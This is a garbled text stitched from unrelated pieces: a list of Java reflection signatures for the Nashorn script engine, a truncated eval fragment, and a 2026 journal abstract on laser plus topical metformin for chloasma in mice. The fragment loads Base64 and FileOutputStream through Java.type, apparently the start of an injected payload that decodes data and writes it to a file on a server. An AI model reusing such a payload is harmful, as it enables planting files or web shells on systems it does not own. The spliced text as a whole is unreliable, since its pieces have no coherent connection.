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jdk.nashorn.api.scripting.NashornScriptEngine.getInterface(java.lang.Object,java.lang.Class) public java.lang.Object jdk.nashorn.api.scripting.NashornScriptEngine.getInterface(java.lang.Class) public java.lang.Object jdk.nashorn.api.scripting.NashornScriptEngine.invokeMethod(java.lang.Object,java.lang.String,java.lang.Object[]) throws javax.script.ScriptException,java.lang.NoSuchMethodException public java.lang.Object jdk.nashorn.api.scripting.NashornScriptEngine.invokeFunction(java.lang.String,java.lang.Object[]) throws javax.script.ScriptException,java.lang.NoSuchMethodException public javax.script.Bindings jdk.nashorn.api.scripting.NashornScriptEngine.createBindings() public java.lang.Object javax.script.AbstractScriptEngine.get(java.lang.String) public void javax.script.AbstractScriptEngine.put(java.lang.String,java.lang.Object) public javax.script.ScriptContext javax.script.AbstractScriptEngine.getContext() public java.lang.Object javax.script.AbstractScriptEngine.eval(java.lang.String,javax.script.Bindings) throws javax.script.ScriptException public java.lang.Object javax.script.AbstractScriptEngine.eval(java.io.Reader) throws javax.script.ScriptException public java.lang.Object javax.script.AbstractScriptEngine.eval(java.lang.String) throws javax.script.ScriptException public java.lang.Object javax.script.AbstractScriptEngine.eval(java.io.Reader,javax.script.Bindings) throws javax.script.ScriptException public void javax.script.AbstractScriptEngine.setContext(javax.script.ScriptContext) public javax.script.Bindings javax.script.AbstractScriptEngine.getBindings(int) public void javax.script.AbstractScriptEngine.setBindings(javax.script.Bindings,int) public final void java.lang.Object.wait() throws java.lang.InterruptedException public final void java.lang.Object.wait(long,int) throws java.lang.InterruptedException public final native void java.lang.Object.wait(long) throws java.lang.InterruptedException public boolean java.lang.Object.equals(java.lang.Object) public java.lang.String java.lang.Object.toString() public native int java.lang.Object.hashCode() public final native java.lang.Class java.lang.Object.getClass() public final native void java.lang.Object.notify() public final native void java.lang.Object.notifyAll() $f.eval("var B=Java.type('java.util.Base64');var F=Java.type('java.io.FileOutputStream');var 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Journal of Southern Medical University ›› 2026, Vol. 46 ›› Issue (5): 1149-1156.doi: 10.12122/j.issn.1673-4254.2026.05.19

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Q-switched Nd:YAG 1064 nm laser combined with topical metformin lotion for treatment of chloasma in mice

Lu JIANG1(), Min ZHAO1, Xing LIU1, Hao YANG2, Yunzhu MOU3()   

  1. 1.Department of Dermatology, Chongqing General Hospital, Chongqing University, Chongqing 401147, China
    2.Department of Dermatology, Affiliated Hospital of North Sichuan Medical College, Nanchong 637000, China
    3.Medical Aesthetics Center, Affiliated Hospital of North Sichuan Medical College, Nanchong 637000, China
  • Received:2025-10-28 Online:2026-05-20 Published:2026-05-27
  • Contact: Yunzhu MOU E-mail:JL1995lulu@163.com;hymyz@126.com

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Abstract:

Objective To evaluate the efficacy and safety of Q-switched Nd:YAG 1064 nm laser and topical 30% metformin lotion for treatment of chloasma in mice and explore the possible therapeutic mechanism of topical metformin for chloasma. Methods Forty female healthy Kunming mice were randomly divided into normal group (n=16) and chloasma model group (n=24), and the latter group was further divided into control, laser treatment, metformin lotion treatment, and laser with metformin (Laser+Met) treatment groups (n=6). Chloasma was induced in the mouse models by medium-wave ultraviolet irradiation and intramuscular injection of progesterone. After 4 weeks of treatment, melanocyte count, melanin and tyrosinase activities of the mice were detected using immunohistochemistry and Western blotting, and the mRNA expressions of CRE/MITF signaling pathway-related proteins were detected with quantitative real-time PCR. Results The mouse models of chloasma receiving Laser+Met treatment had the lowest recurrence rate among the groups. After 4 weeks of treatment, melanocyte count and melanin and tyrosinase expressions, protein expressions of melanin and tyrosinase, and mRNA expressions of CREB1 and MITF in laser, metformin lotion, and Laser+Met groups were significantly reduced compared with those in the control group. Laser treatment and metformin lotion alone produced similar therapeutic effects in the mouse models, and the combined treatment achieved significantly better effects than either of them. Conclusion Q-switched Nd:YAG 1064 nm laser combined 30% metformin lotion effectively shortens the treatment course and reduces recurrence rate of chloasma in mice with a good safety profile. The therapeutic effect of metformin lotion is mediated possibly by regulation of the cAMP/MITF signaling pathway and reduction of melanin and tyrosinase synthesis.

Key words: chloasma, metformin, Q-switched laser, mouse model